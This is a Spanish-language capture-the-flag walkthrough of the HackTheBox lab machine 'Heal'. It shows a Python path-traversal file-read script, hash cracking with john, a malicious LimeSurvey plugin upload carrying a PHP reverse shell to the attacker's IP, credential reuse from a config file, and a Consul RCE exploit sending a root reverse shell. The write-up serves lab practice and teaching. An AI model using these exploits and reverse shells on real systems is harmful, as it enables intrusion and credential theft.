Heal – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

Avatar heal


Resumen Link to heading

“Heal” es una máquina de dificultad Media de la plataforma HackTheBox. Luego de buscar por subdominions y directorios en ellos, encontramos un aplicativo con una función la cual nos permite descargar archivos desde la web objetivo. Esta función es vulnerable Local File Inclusion. Esto nos permite leer archivos del sistema y eventualmente nos permite conocer la existencia de un archivo de bases de datos en el sistema. Podemos descargar esta base de datos usando esta vulnerabilidad, para hallar así una contraseña para un panel de LimeSurvey. Este panel es vulnerable a CVE-2021-44967, el cual es vulnerable a Remote Code Execution con un usuario autenticado. Abusando de esta vulnerabilidad, ganamos acceso a la máquina víctima donde encontramos un archivo de confgiuración con una contraseña. Esta contraseña es utilizada por uno de los usuarios en el sistema, lo cual nos permite ganar acceso como este usuario. Ya dentro de la máquina víctima, podemos ver un servicio interno corriendo Consul. Este software está corriendo uan versión vulnerable a otro exploit, el cual es vulnerable a Remote Code Execution. Luego de establecer un túnel para acceder a este servicio interno, utilizamos el exploit mencionado para atacar este servicio y así ganar acceso como root, comprometiendo así la máquina víctima.


User / Usuario Link to heading

Empezamos con un escaneo con Nmap buscando por puertos TCP abiertos en la máquina víctima:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.46

Sólo encontramos dos puertos abiertos: 22 SSH y 80 HTTP.

Aplicando algunos scripts de reconocimiento usando la flag -sVC sobre estos puertos encontramos:

❯ sudo nmap -sVC -p22,80 10.10.11.46

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 01:06 -03
Nmap scan report for 10.10.11.46
Host is up (0.49s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.89 seconds

Del output podemos ver un dominio: heal.htb

Agregamos este dominio a nuestro archivo /etc/hosts en nuestra máquina de atacantes, ejecutando en una terminal:

❯ echo '10.10.11.46 heal.htb' | sudo tee -a /etc/hosts

Visitando entonces http://heal.htb muestra una página web con un panel de login:

Heal 1

El sitio dice que es una página web para crear Resumes (el resumen de la carrera profesional de una persona) de manera rápida.

Si intentamos crear una cuenta en esta página encontramos un error el cual no nos deja crear una aparentemente:

Heal 2

Pero si vamos a la página principal, recargamos la página y pasamos las credenciales de nuestro usuario recién creado, sí funcionan. Ahora podemos ver:

Heal 4

Si agragamos información la página crea un PDF el cual es, como dice la página, un Resume:

Heal 5

En la página de Resume Builder (ya logueados con nuestra cuenta), hay un botón de Survey. Clickeando en este nos redirige a la ruta http://heal.htb/survey:

Heal 6

Si vemos a dónde nos redirige el botón Take the Survey, éste nos redirige al subdominio take-survey.heal.htb. Agregamos este subdominio a nuestro archivo /etc/hosts, por lo que ahora este se ve como:

❯ tail -n 1 /etc/hosts

10.10.11.46 heal.htb take-survey.heal.htb

Una vez agregado, podemos clickear en el botón Take the Survey. La página presenta una simple encuesta (survey):

Heal 7

Pero si visitamos http://take-survey.heal.htb/ ahora podemos ver algo de información:

Heal 8

El sitio web se encuentra corriendo LimeSurvey:

Información
LimeSurvey is an online survey tool to quickly create questionnaires, poll votes & surveys.
En corto, es un aplicativo que nos permite crear encuestas; como este caso.

Tenemos un contacto ralph@heal.htb, quien debería de ser el administrador/encargado de la página de encuestas.

Buscando por directorios a través de un Brute Force Directory Listing con Gobuster en esta página muestra algunos:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://take-survey.heal.htb/ -x php -t 20 -s 200,301 -b ''

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:            http://take-survey.heal.htb/
[+] Method:         GET
[+] Threads:        55
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   301,200
[+] User Agent:     gobuster/3.6
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 75816]
/admin                (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/admin/]
/plugins              (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/plugins/]
===============================================================
Finished
===============================================================

Podemos ver un directorio /admin. Visitando http://take-survey.heal.htb/admin muestra un nuevo panel de login:

Heal 9

Pero no tenemos credenciales. Por lo que podríamos volver a este sitio web luego.

Además, podemos buscar por vhosts usando ffuf y un diccionario de SecLists:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://heal.htb -H 'Host: FUZZ.heal.htb' -fs 178

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://heal.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.heal.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

api                     [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 247ms]
:: Progress: [19966/19966] :: Job [1/1] :: 153 req/sec :: Duration: [0:02:09] :: Errors: 0 ::

Encontramos un subdominio: api.heal.htb.

Agregamos este nuevo subdominio a nuestro archivo /etc/hosts, por lo que ahora éste se ve como:

❯ tail -n 1 /etc/hosts

10.10.11.46 heal.htb take-survey.heal.htb api.heal.htb

Visitando http://api.heal.htb muestra:

Heal 3

El sitio está corriendo Ruby on Rails. Pero nada más allá de esto.

De vuelta a la página de Resume Builder con nuestra cuenta creada, interceptamos la petición al intentar crear el archivo PDF. Interceptamos con la petición enviada Burpsuite y seleccionamos la opción Do intercept -> Response to this request, clickeando Forward algunas veces hasta obtener una petición la cual muestra el archivo a descargar:

Heal 10

Luego de clickear algunas veces en Forward encontramos la siguiente petición GET que es la que se encarga de descargar el archivo:

GET /download?filename=<FILENAME>.pdf HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: close
Referer: http://heal.htb/

Donde filename es un archivo random PDF el cual es guardado en nuestra máquina de atacantes. Si cambiamos el parámetro filename a ../../../../../../../etc/passwd para ver si tenemos una vulnerabilidad Local File Inclusion (LFI) obtenemos una respuesta:

Heal 11

Por lo que este parámetro es vulnerable a LFI.

Podemos crear un simple script de Python para leer distintos archivos del sistema. Para ello sólo necesitamos la cookie de sesión de nuestro usuario creado, más espefíciamente su Jason Web Token (JWT):

import requests
import argparse
from sys import exit as sys_exit

# URL containing LFI vulnerability
url: str = "http://api.heal.htb:80/download?filename="


def parse_arguments()->argparse.Namespace:
    """
    Get arguments from user
    """
    parser = argparse.ArgumentParser(description="LFI script for HTB Heal machine.")
    # Add optional arguments with flags
    parser.add_argument("-f", "--file", type=str, help="Absolute path to file to read through LFI", required=True)
    parser.add_argument("--jwt", type=str, help="Jason Web Token session", required=True)

    # Return the parsed arguments
    return parser.parse_args()


def read_file(args:argparse.Namespace)->None:
    """
    LFI exploit
    """
    lfi_url = url + args.file
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", 
               "Accept": "application/json, text/plain, */*", 
               "Accept-Language": "en-US,en;q=0.5", 
               "Accept-Encoding": "gzip, deflate, br", 
               "Authorization": f"Bearer {args.jwt}", 
               "Origin": "http://heal.htb", 
               "DNT": "1", "Connection": "close", 
               "Referer": "http://heal.htb/"}
    r = requests.get(lfi_url, headers=headers)
    if r.status_code == 404:
        print(f"[-] File {args.file!r} not found")
        sys_exit(1)
    if r.status_code != 200:
        print(f"[-] Invalid status code: {r.status_code}")
        sys_exit(1)
    print(r.text)


def main()->None:
    # Get arguments from user
    args = parse_arguments()
    # Execute Local File Inclusion
    read_file(args)


if __name__ == "__main__":
    main()

Probamos este script, pasando como argumentos el archivo a leer a través del LFI (utilizando .. para retroceder de directorios en Linux) y el valor del JWT de nuestra sesión de usuario:

❯ python3 lfi.py -f '../../../../../../etc/passwd' --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<SNIP>

Funciona.

Filtrando por potenciales usuarios, excluyendo los usuarios root y postgres, tenemos 2 usuarios:

❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../etc/passwd' | grep 'sh$'

root:x:0:0:root:/root:/bin/bash
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash

ralph y ron son nuevos usuarios.

No somos capaces de leer keys de SSH para estos usuarios:

❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../home/ralph/.ssh/id_rsa'
[-] File '../../../../../../home/ralph/.ssh/id_rsa' not found

❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../home/ron/.ssh/id_rsa'
[-] File '../../../../../../home/ron/.ssh/id_rsa' not found

Probablemente porque no existen, o bien porque no tenemos permisos de lectura sobre estos archivos.

Ahora bien, dado que http://api.heal.htb estaba corriendo en Ruby on Rails podemos revisar sus archivos de configuración. Basados en esto, el archivo config/application.rb debería existir. Luego de jugar con algunos paths, eventualmente encontramos el archivo de configuración de Ruby On Rails:

❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../config/application.rb'

require_relative "boot"

require "rails/all"

# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)

module ResumeApi
  class Application < Rails::Application
    # Initialize configuration defaults for originally generated Rails version.
    config.load_defaults 7.1

    # Please, add to the `ignore` list any other `lib` subdirectories that do
    # not contain `.rb` files, or that should not be reloaded or eager loaded.
    # Common ones are `templates`, `generators`, or `middleware`, for example.
    config.autoload_lib(ignore: %w(assets tasks))

    # Configuration for the application, engines, and railties goes here.
    #
    # These settings can be overridden in specific environments using the files
    # in config/environments, which are processed later.
    #
    # config.time_zone = "Central Time (US & Canada)"
    # config.eager_load_paths << Rails.root.join("extras")

    # Only loads a smaller set of middleware suitable for API only apps.
    # Middleware like session, flash, cookies can be added back manually.
    # Skip views, helpers and assets when generating a new resource.
    config.api_only = true
  end
end

Luego de leer la documentación, encontramos los archivos para configurar una base de datos, donde deberíamos de encontrar un archivo config/database.yml. Tratando de leer este archivo obtenemos:

❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../config/database.yml'

# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

production:
  <<: *default
  database: storage/development.sqlite3

Tenemos 2 archivos de bases de datos siendo utilizados: storage/test.sqlite3 y storage/development.sqlite3.

Tratando de leer estos archivos obtenemos caracteres ilegibles:

❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../storage/development.sqlite3'

¿QLite format 3@ .vä
}„(÷
  ∫ÅT55ÇKtablear_internal_metadataar_internal_metadataCREATE TABLE "ar_internal_metadata" ("key" varchar NOT NULL PRIMARY KEY, "value" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL)G[5indexsqlite_autoindex_ar_internal_metadata_1ar_internal_metadatx// 
<SNIP>
07:49:07.2690482024-09-27 07:49:07.269049O##AAenvironmentdevelopment2024-09-27 07:49:07.2666762024-09-27 07:49:07.266679
·Ò·#schema_sha1#        environment

Dado que el la función original estaba diseñada para descargar un archivo (Resumee de PDF), volvemos a Burpsuite y interceptamos la petición que trata de descargar el archivo nuevamente. Sólo que esta vez tratamos de descargar los archivos de bases de datos:

GET /download?filename=../../storage/development.sqlite3 HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: close
Referer: http://heal.htb/
Nota
Una alternativa a esto es modificar levemente el script que utilicé para leer archivos para pasar el contenido del archivo a leer con el LFI a base64. Luego, podemos decodear el contenido desde base64 a un archivo en nuestra máquina víctima. Lo dejo como idea para el lector (:

Descargamos así un supuesto archivo .pdf, pero si revisamos su contenido éste es en realidad un archivo de SQLite:

❯ file ~/Downloads/4fbf8c3e57d43f60461c.pdf

/home/gunzf0x/Downloads/4fbf8c3e57d43f60461c.pdf: SQLite 3.x database, last written using SQLite version 3045002, writer version 2, read version 2, file counter 2, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 2

Renombramos este archivo y lo abrimos usando SQLite:

❯ mv ~/Downloads/4fbf8c3e57d43f60461c.pdf ./development.sqlite3

❯ sqlite3 development.sqlite3

SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite>

En la base de datos tenemos una table de users. Extraemos algo de información de esta base de datos:

sqlite> .tables

ar_internal_metadata  token_blacklists
schema_migrations     users

sqlite> PRAGMA table_info(users);

0|id|INTEGER|1||1
1|email|varchar|0||0
2|password_digest|varchar|0||0
3|created_at|datetime(6)|1||0
4|updated_at|datetime(6)|1||0
5|fullname|varchar|0||0
6|username|varchar|0||0
7|is_admin|boolean|0||0

sqlite> select email,username,is_admin,password_digest from users;

ralph@heal.htb|ralph|1|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
gunzf0x@gunzf0x.htb|gunzf0x|0|$2a$12$8xVXNUtPJhaHR1.kFl7h0uA.6KO6LrRkub9/uPA3brg0x20KeWgwe

Tenemos un hash para el usuario ralph.

Guardamos el hash del usuario ralph en un archivo llamado ralph_hash y lo tratamos de crackear a través de un Brute Force Password Cracking con la herramienta john junto con el diccionario rockyou.txt:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt ralph_hash

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369        (?)
1g 0:00:00:12 DONE (2024-12-21 02:42) 0.07770g/s 38.46p/s 38.46c/s 38.46C/s single..147258
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Obtenemos una contraseña: 147258369.

Revisamos si esta contraseña funciona para el usuario ralph para el servicio SSH, dado que como hemos visto anteriormente, este usuario existe en la máquina. Para esto utilizamos la herramienta NetExec:

❯ nxc ssh 10.10.11.46 -u 'ralph' -p '147258369'

SSH         10.10.11.46     22     10.10.11.46      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.46     22     10.10.11.46      [-] ralph:147258369

Lamentablemente esto la contraseña no sirve.

¿Pero qué tal acerca del panel de login de encuestas (LimeSurvey)? Podemos ir al panel de administrador en http://take-survey.heal.htb/admin y usar las credenciales ralph@heal.htb y contraseña 147258369. Funcionan y estamos dentro:

Heal 12

Al final de este panel podemos ver información de LimeSurvey: LimeSurvey Community Edition Version 6.6.4.

Buscando por exploits para esta versión encontramos este exploit en Github el cual es un Remote Code Execution (RCE, o ejecución remota de comandos) usando una vulnerabilidad catalogada como CVE-2021-44967. Como tenemos credenciales esto debería de funcionar. Necesitamos editar el archivo config.xml para que el exploit funcione. Agregamos la línea <version>6.0</version> a éste y retocamos algunos detalles; viéndose este archivo como:

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>gunzf0x</name>
        <type>plugin</type>
        <creationDate>2020-03-20</creationDate>
        <lastUpdate>2020-03-31</lastUpdate>
        <author>gunzf0x</author>
        <authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
        <supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
        <version>5.0</version>
        <license>GNU General Public License version 2 or later</license>
        <description>
		<![CDATA[Author : gunzf0x`></description>
    </metadata>

    <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
        <version>6.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

Donde, recalco nuevamente, hemos agregado la línea <version>6.0</version>.

Adicionalmente, necesitamos editar las primeras líneas de php-rev.php para que establezca una conexión a nuestra máquina de atacantes. Cambiamos las primeras líneas a:

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.4';  // CHANGE THIS
$port = 443;       // CHANGE THIS
<SNIP>

Donde 10.10.16.4 es nuestra IP de atacantes y 443 el puerto en el cual nos pondremos en escucha con netcat para recibir una reverse shell.

Comprimimos ambos archivos a subir en un archivo zip:

❯ zip gunzf0x_exploit config.xml php-rev.php

  adding: config.xml (deflated 57%)
  adding: php-rev.php (deflated 61%)

Empezamos un listener con netcat en el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Luego, simplemente seguimos instrucciones del repositorio del exploit. Vamos a Configuration, luego a Plugins y clickeamos en Upload & Install.Instalamos así el archivo zip malicioso generado. Una vez instalado, podemos ver que nuestro plugin está allí:

Heal 13

Clickeamos en ... en nuestro plugin agregado, y seleccionamos Activate. Luego, simplemente visitamos http://take-survey.heal.htb/upload/plugins/gunzf0x/php-rev.php. En mi caso hago esto con cURL en una consola:

❯ curl -s http://take-survey.heal.htb/upload/plugins/gunzf0x/php-rev.php

Y en nuestro listener con nc obtenemos una conexión como el usuario www-data:

❯ nc -lvnp 443
listening on [any] 443 ...

connect to [10.10.16.4] from (UNKNOWN) [10.10.11.46] 42780
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 06:26:33 up  2:32,  0 users,  load average: 0.02, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Luego de buscar por algunas passwords en el directorio /var/www (y luego de algunos filtros) encontramos:

www-data@heal:~/limesurvey$ grep -ir 'password' . 2>/dev/null | grep -vE '\.js|remix|tmp|\.css|release|\.lss' | grep 'config' | grep '\$'

./vendor/phpmailer/phpmailer/src/DSNConfigurator.php:            $mailer->Password = $config['pass'];
./application/commands/InstallFromConfigCommand.php:                    'password' => password_hash((string) $this->configuration['config']['defaultpass'], PASSWORD_DEFAULT),
./application/core/LSYii_Application.php:        $this->config['emailsmtppassword'] = LSActiveRecord::encryptSingle($this->config['emailsmtppassword']);
./application/core/ConsoleApplication.php:           $this->config['emailsmtppassword'] = LSActiveRecord::encryptSingle($this->config['emailsmtppassword']);
./application/config/config.php:                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
./application/config/config.php:                        'password' => 'AdmiDi0_pA$$w0rd',
./application/config/email.php:$config['emailsmtpuser']      = ''; // SMTP authorisation username - only set this if your server requires authorization - if you set it you HAVE to set a password too
<SNIP>

Hay un archivo /var/www/limesurvey/application/config/config.php el cual contiene una contraseña:

www-data@heal:~/limesurvey$ cat ./application/config/config.php

<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
<SNIP>
return array(
        'components' => array(
                'db' => array(
                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
                        'emulatePrepare' => true,
                        'username' => 'db_user',
                        'password' => 'AdmiDi0_pA$$w0rd',
                        'charset' => 'utf8',
                        'tablePrefix' => 'lime_',
<SNIP>

Tenemos una contraseña para una base de datos PostgreSQL: AdmiDi0_pA$$w0rd.

Revisamos si esta contraseña funciona para los usuarios ralph o ron con NetExec por SSH:

❯ nxc ssh 10.10.11.46 -u 'ralph' -p 'AdmiDi0_pA$$w0rd'

SSH         10.10.11.46     22     10.10.11.46      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.46     22     10.10.11.46      [-] ralph:AdmiDi0_pA$$w0rd

❯ nxc ssh 10.10.11.46 -u 'ron' -p 'AdmiDi0_pA$$w0rd'

SSH         10.10.11.46     22     10.10.11.46      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.46     22     10.10.11.46      [+] ron:AdmiDi0_pA$$w0rd  Linux - Shell access!

Estas credenciales funcionan para el usuario ron. Tenemos credenciales: ron:AdmiDi0_pA$$w0rd.

Nos conectamos a la máquina víctima como el usuario ron a través del servicio SSH:

❯ sshpass -p 'AdmiDi0_pA$$w0rd' ssh -o stricthostkeychecking=no ron@10.10.11.46

<SNIP>
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


ron@heal:~$

Finalmente podemos leer la flag de usuario.


Root Link to heading

Revisando puertos internos abiertos vemos que hay muchos que desconocemos:

ron@heal:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   244                                  127.0.0.1:5432                                  0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                    0.0.0.0:*
LISTEN              0                   1024                                 127.0.0.1:3001                                  0.0.0.0:*
LISTEN              0                   511                                  127.0.0.1:3000                                  0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                    0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8301                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8300                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8302                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8500                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8503                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8600                                  0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                       [::]:*

Revisamos si alguno de ellos es un sitio web utilizando cURL contra estos. Si obtenemos una respuesta esto puede significar que sean sitios webs internos. Para este propósito ejecutamos un simple oneliner en Bash:

ron@heal:~$ for port in 3000 3001 5432 8300 8301 8302 8500 8503 8600; do echo "[+] Requesting port $port"; curl -s "http://127.0.0.1:$port" | head -n 5; done

[+] Requesting port 3000
<!DOCTYPE html>
<html lang="en">
  <head>

    <meta name="viewport" content="width=device-width, initial-scale=1" />
[+] Requesting port 3001
[+] Requesting port 5432
[+] Requesting port 8300
[+] Requesting port 8301
[+] Requesting port 8302
[+] Requesting port 8500
<a href="/ui/">Moved Permanently</a>.

[+] Requesting port 8503
[+] Requesting port 8600

Los puertos 3000 y 8500 muestran respuestas, por lo que podrían ser sitios web internos.

Salimos de nuestra sesión actual de SSH y nos reconectamos, pero esta vez estableciendo un Local Port Forwarding para convertir tanto el puerto 3000 de la máquina víctima en nuestro puerto 3000 como el puerto 8500 de la máquina víctima en nuestro puerto 8500:

❯ sshpass -p 'AdmiDi0_pA$$w0rd' ssh -o stricthostkeychecking=no -L 3000:127.0.0.1:3000 -L 8500:127.0.0.1:8500 ron@10.10.11.46

Esto nos debería de permitir tener acceso a estos puertos internos.

Yendo a un navegador de internet http://127.0.0.1:3000 siomplemente muestra un sitio web idéntico a http://heal.htb. Pero si visitamos http://127.0.0.1:8500 obtenemos:

Heal 14

El sitio web está corriendo Consul, más específicamente su versión v1.19.2 como podemos ver en la parte inferior izquierda de esta página.

Información
Consul is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime.
En corto, es un software para automatozar configuraciones de redes.

Este servicio está siendo ejecutado por root, tal cual se puede ver si chequeamos los procesos corriendo en la máquina víctima:

ron@heal:~$ ps aux | grep root | grep consul

root         982  0.5  2.7 1357476 108528 ?      Ssl  03:54   1:02 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d

Buscando por consul exploit nos retorna el siguiente exploit de exploit-db. Lo descargamos como exploit.py y lo ejecutamos:

❯ python3 exploit.py

[-] Usage: python3 exploit.py <rhost> <rport> <lhost> <lport> <acl_token>

En único parámetro el cual desconocemos qué es, es <acl_token>.

Buscando por acl token consul encontramos su página para desarrolladores. Básicamente, es el token para loguear en la aplicación. Dado que no tenemos ninguno, asumo que su valor será alguno para una “null session”, sesión de invitado o similar. Por lo que, probando, pasamos 0 como <acl_token>. Podemos encontrar más información acerca de tokens como anonymous aquí. Ya con toda esta información, y luego de empezar un nuevo listener con netcat por el puerto 443, simplemente ejecutamos el exploit:

❯ python3 exploit.py 127.0.0.1 8500 10.10.16.4 443 0

[+] Request sent successfully, check your listener

Donde 127.0.0.1 es nuestro localhost -el cual está albergando Consul gracias al Local Port Forwarding-, 8500 es el puerto para el servicio a través del túnel, 10.10.16.4 es nuestra máquina de atacantes (la dirección IP a la cual queremos enviar una reverse shell una vez se ejecute el exploit), 443 es nuestro puerto en escucha con netcat y 0 es el valor del acl_token.

Luego de algunos segundos ejecutado el exploit, obtenemos una shell como el usuario root:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.46] 38294
bash: cannot set terminal process group (9195): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# whoami

whoami
root

GG. Podemos leer la flag de root en el directorio /root.

~Happy Hacking.